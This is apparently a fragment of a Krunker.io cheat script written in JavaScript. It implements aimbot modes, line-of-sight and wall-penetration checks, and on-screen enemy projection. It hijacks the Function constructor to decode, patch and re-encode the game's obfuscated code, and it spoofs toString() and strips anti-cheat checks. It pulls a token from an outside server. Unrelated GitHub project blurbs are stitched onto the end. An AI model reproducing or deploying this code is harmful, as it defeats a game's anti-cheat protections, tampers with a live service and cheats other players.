input[this.key.shoot] = 0; input[this.key.scope] = 0; this.me.inspecting = false; this.me.inspectX = 0; } else if (!canSee && this.settings.frustrumCheck.val) this.resetLookAt(); else if (ammoLeft||isMelee) { input[this.key.scope] = this.settings.autoAim.val === "assist"||this.settings.autoAim.val === "correction"||this.settings.autoAim.val === "trigger" ? this.controls[this.vars.mouseDownR] : 0; switch (this.settings.autoAim.val) { case "quickScope": input[this.key.scope] = 1; if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { if (!this.me.canThrow||!isMelee) input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } break; case "assist": case "easyassist": if (input[this.key.scope] || this.settings.autoAim.val === "easyassist") { if (!this.me.aimDir && canSee || this.settings.autoAim.val === "easyassist") { input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } } break; case "silent": if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { if (!this.me.canThrow||!isMelee) input[this.key.shoot] = 1; } else input[this.key.scope] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 break; case "trigger": if (input[this.key.scope] && canSee && inCast) { input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 } break; case "correction": if (input[this.key.shoot] == 1) { input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 } break; default: this.resetLookAt(); break; } } } else { this.resetLookAt(); //input = this.raidBot(input); } } } //else if (this.settings.autoClick.val && !this.ui.hasEndScreen) { //this.config.deathDelay = 0; //this.controls.toggle(true); //} //this.game.config.deltaMlt = 1 return input; } getD3D(x1, y1, z1, x2, y2, z2) { let dx = x1 - x2; let dy = y1 - y2; let dz = z1 - z2; return Math.sqrt(dx * dx + dy * dy + dz * dz); } getAngleDst(a, b) { return Math.atan2(Math.sin(b - a), Math.cos(a - b)); } getXDire(x1, y1, z1, x2, y2, z2) { let h = Math.abs(y1 - y2); let dst = this.getD3D(x1, y1, z1, x2, y2, z2); return (Math.asin(h / dst) * ((y1 > y2)?-1:1)); } getDir(x1, y1, x2, y2) { return Math.atan2(y1 - y2, x1 - x2); } getDistance(x1, y1, x2, y2) { return Math.sqrt((x2 -= x1) * x2 + (y2 -= y1) * y2); } containsPoint(point) { let planes = this.renderer.frustum.planes; for (let i = 0; i < 6; i ++) { if (planes[i].distanceToPoint(point) < 0) { return false; } } return true; } getCanSee(from, toX, toY, toZ, boxSize) { if (!from) return 0; boxSize = boxSize||0; for (let obj, dist = this.getD3D(from.x, from.y, from.z, toX, toY, toZ), xDr = this.getDir(from.z, from.x, toZ, toX), yDr = this.getDir(this.getDistance(from.x, from.z, toX, toZ), toY, 0, from.y), dx = 1 / (dist * Math.sin(xDr - Math.PI) * Math.cos(yDr)), dz = 1 / (dist * Math.cos(xDr - Math.PI) * Math.cos(yDr)), dy = 1 / (dist * Math.sin(yDr)), yOffset = from.y + (from.height || 0) - this.consts.cameraHeight, aa = 0; aa < this.game.map.manager.objects.length; ++aa) { if (!(obj = this.game.map.manager.objects[aa]).noShoot && obj.active && !obj.transparent && (!this.settings.wallPenetrate.val || (!obj.penetrable || !this.me.weapon.pierce))) { let tmpDst = this.lineInRect(from.x, from.z, yOffset, dx, dz, dy, obj.x - Math.max(0, obj.width - boxSize), obj.z - Math.max(0, obj.length - boxSize), obj.y - Math.max(0, obj.height - boxSize), obj.x + Math.max(0, obj.width - boxSize), obj.z + Math.max(0, obj.length - boxSize), obj.y + Math.max(0, obj.height - boxSize)); if (tmpDst && 1 > tmpDst) return tmpDst; } } /* let terrain = this.game.map.terrain; if (terrain) { let terrainRaycast = terrain.raycast(from.x, -from.z, yOffset, 1 / dx, -1 / dz, 1 / dy); if (terrainRaycast) return utl.getD3D(from.x, from.y, from.z, terrainRaycast.x, terrainRaycast.z, -terrainRaycast.y); } */ return null; } lineInRect(lx1, lz1, ly1, dx, dz, dy, x1, z1, y1, x2, z2, y2) { let t1 = (x1 - lx1) * dx; let t2 = (x2 - lx1) * dx; let t3 = (y1 - ly1) * dy; let t4 = (y2 - ly1) * dy; let t5 = (z1 - lz1) * dz; let t6 = (z2 - lz1) * dz; let tmin = Math.max(Math.max(Math.min(t1, t2), Math.min(t3, t4)), Math.min(t5, t6)); let tmax = Math.min(Math.min(Math.max(t1, t2), Math.max(t3, t4)), Math.max(t5, t6)); if (tmax < 0) return false; if (tmin > tmax) return false; return tmin; } lookDir(xDire, yDire) { this.controls.object.rotation.y = yDire this.controls[this.vars.pchObjc].rotation.x = xDire; this.controls[this.vars.pchObjc].rotation.x = Math.max(-this.consts.halfPI, Math.min(this.consts.halfPI, this.controls[this.vars.pchObjc].rotation.x)); this.controls.yDr = (this.controls[this.vars.pchObjc].rotation.x % Math.PI).round(3); this.controls.xDr = (this.controls.object.rotation.y % Math.PI).round(3); this.renderer.camera.updateProjectionMatrix(); this.renderer.updateFrustum(); } resetLookAt() { this.controls.yDr = this.controls[this.vars.pchObjc].rotation.x; this.controls.xDr = this.controls.object.rotation.y; this.renderer.camera.updateProjectionMatrix(); this.renderer.updateFrustum(); } world2Screen (position) { let pos = position.clone(); let scaledWidth = this.ctx.canvas.width / this.scale; let scaledHeight = this.ctx.canvas.height / this.scale; pos.project(this.renderer.camera); pos.x = (pos.x + 1) / 2; pos.y = (-pos.y + 1) / 2; pos.x *= scaledWidth; pos.y *= scaledHeight; return pos; } getInView(entity) { return null == this.getCanSee(this.me, entity.x, entity.y, entity.z); } getIsFriendly(entity) { return (this.me && this.me.team ? this.me.team : this.me.spectating ? 0x1 : 0x0) == entity.team } } function loadWASM() { window.Function = new Proxy(window.Function, { construct(target, args) { const original = new target(...args); if (args.length) { let body = args[args.length - 1]; if (body.length > 38e5) { // game.js at game loader Easy Method //console.log(body) } else if (args[0] == "requireRegisteredType") { return (function(...fnArgs){ // Expose WASM functions if (!window.hasOwnProperty("WASM")) { window.Object.assign(window, { WASM: { requireRegisteredType:fnArgs[0], __emval_register:[2], } }); for(let name in fnArgs[1]) { window.WASM[name] = fnArgs[1][name]; switch (name) { case "__Z01dynCall_fijfiv": //game.js after fetch and needs decoding fnArgs[1][name] = function(body) { // Get Key From Known Char let xorKey = body.charCodeAt() ^ '!'.charCodeAt(), str = "", ret =""; // Decode Mangled String for (let i = 0, strLen = body.length; i < strLen; i++) { str += String.fromCharCode(body.charCodeAt(i) ^ xorKey); } // Manipulate String //console.log(str) window[skidStr] = new Skid(); str = skid.gameJS(str); //ReEncode Mangled String for (let i = 0, strLen = str.length; i < strLen; i++) { ret += String.fromCharCode(str[i].charCodeAt() ^ xorKey); } // Return With Our Manipulated Code return window.WASM[name].apply(this, [ret]); }; break; case "__Z01dynCall_fijifv": //generate token promise fnArgs[1][name] = function(response) { if (!response.ok) { throw new window.Error("Network response from " + response.url + " was not ok") } let promise = window.WASM[name].apply(this, [response]); return promise; }; break; case "__Z01dynCall_fijjjv": //hmac token function fnArgs[1][name] = function() { console.log(arguments[0]); return window.WASM[name].apply(this, arguments); }; break; } } } return new target(...args).apply(this, fnArgs); }) } // If changed return with spoofed toString(); if (args[args.length - 1] !== body) { args[args.length - 1] = body; let patched = new target(...args); patched.toString = () => original.toString(); return patched; } } return original; } }) function onPageLoad() { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = `<div id="settHolder"><img src="https://i.imgur.com/yzb2ZmS.gif" width="25%"></div><a href='https://coder369.ml/d/' target='_blank.'><div class="imageButton discordSocial"></div></a>` window.request = (url, type, opt = {}) => fetch(url, opt).then(response => response.ok ? response[type]() : null); let Module = { onRuntimeInitialized: function() { function e(e) { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = "<div style='color: rgba(255, 255, 255, 0.6)'>" + e + "</div><div style='margin-top:10px;font-size:20px;color:rgba(255,255,255,0.4)'>Make sure you are using the latest version of Chrome or Firefox,<br/>or try again by clicking <a href='/'>here</a>.</div>"; window.instructionHolder.style.pointerEvents = "all"; }(async function() { "undefined" != typeof TextEncoder && "undefined" != typeof TextDecoder ? await Module.initialize(Module) : e("Your browser is not supported.") })().catch(err => { e("Failed to load game."); throw new Error(err); }) } }; window._debugTimeStart = Date.now(); window.request("/pkg/maindemo.wasm","arrayBuffer",{cache: "no-store"}).then(body => { Module.wasmBinary = body; window.request("/pkg/maindemo.js","text",{cache: "no-store"}).then(body => { body = body.replace(/(function UTF8ToString\((\w+),\w+\)){return \w+\?(.+?)\}/, `$1{let str=$2?$3;if (str.includes("CLEAN_WINDOW") || str.includes("Array.prototype.filter = undefined")) return "";return str;}`); body = body.replace(/(_emscripten_run_script\(\w+\){)eval\((\w+\(\w+\))\)}/, `$1 let str=$2; console.log(str);}`); new Function(body)(); window.initWASM(Module); }) }); } let observer = new MutationObserver(mutations => { for (let mutation of mutations) { for (let node of mutation.addedNodes) { if (node.tagName === 'SCRIPT' && node.type === "text/javascript" && node.innerHTML.startsWith("*!", 1)) { observer.disconnect(); node.innerHTML = onPageLoad.toString() + "\nonPageLoad();"; } } } }); observer.observe(document, { childList: true, subtree: true }); } function loadBasic() { let request = async function(url, type, opt = {}) { return fetch(url, opt).then(response => { if (!response.ok) { throw new Error("Network response from " + url + " was not ok") } return response[type]() }) } let fetchScript = async function() { const data = await request("https://krunker.io/social.html", "text"); const buffer = await request("https://krunker.io/pkg/krunker." + /\w.exports="(\w+)"/.exec(data)[1] + ".vries", "arrayBuffer"); const array = Array.from(new Uint8Array(buffer)); const xor = array[0] ^ '!'.charCodeAt(0); return array.map((code) => String.fromCharCode(code ^ xor)).join(''); } function onPageLoad() { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = `<div id="settHolder"><img src="https://i.imgur.com/yzb2ZmS.gif" width="25%"></div><a href='https://skidlamer.github.io/wp/' target='_blank.'><div class="imageButton discordSocial"></div></a>` window.instructionHolder.style.pointerEvents = "all"; window._debugTimeStart = Date.now(); } let observer = new MutationObserver(mutations => { for (let mutation of mutations) { for (let node of mutation.addedNodes) { if (node.tagName === 'SCRIPT' && node.type === "text/javascript" && node.innerHTML.startsWith("*!", 1)) { observer.disconnect(); node.innerHTML = onPageLoad.toString() + "\nonPageLoad();"; fetchScript().then(script=>{ window[skidStr] = new Skid(); const loader = new Function("__LOADER__mmTokenPromise", "Module", skid.gameJS(script)); loader(new Promise(res=>res(JSON.parse(xhr.responseText).token)), { csv: async () => 0 }); window.instructionHolder.style.pointerEvents = "none"; }) } } } }); observer.observe(document, { childList: true, subtree: true }); } let xhr = new XMLHttpRequest(); xhr.open('GET', 'https://api.sys32.dev/token', false); try { xhr.send(); if (xhr.status != 200) { loadWASM(); } else { if (xhr.responseText.includes('success')) { loadBasic(); } else loadWASM(); } } catch(err) { loadWASM(); }
nickjuntilla / Wttp BridgeWTTP Gateway redirects (Web3) WTTP requests through an embedded RPC in the browser
shiahonb777 / Turn MCPAchieve infinite conversation turns in a single API request via turn-mcp. Self-hosted MCP server with browser console for human-in-the-loop AI agents.
mocky-balboa / Mocky BalboaA server-side network mocking library for your SSR applications. Fixture http network requests on your server-side application for browser automation testing without having to modify your application logic.
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EaseFilterSDK / FileMonitorExamplehow to monitor the file activities on file system level, capture file open, create, overwrite, read, write, query file information, set file information, query security information, set security information, file rename, file delete, directory browsing and file close I/O requests.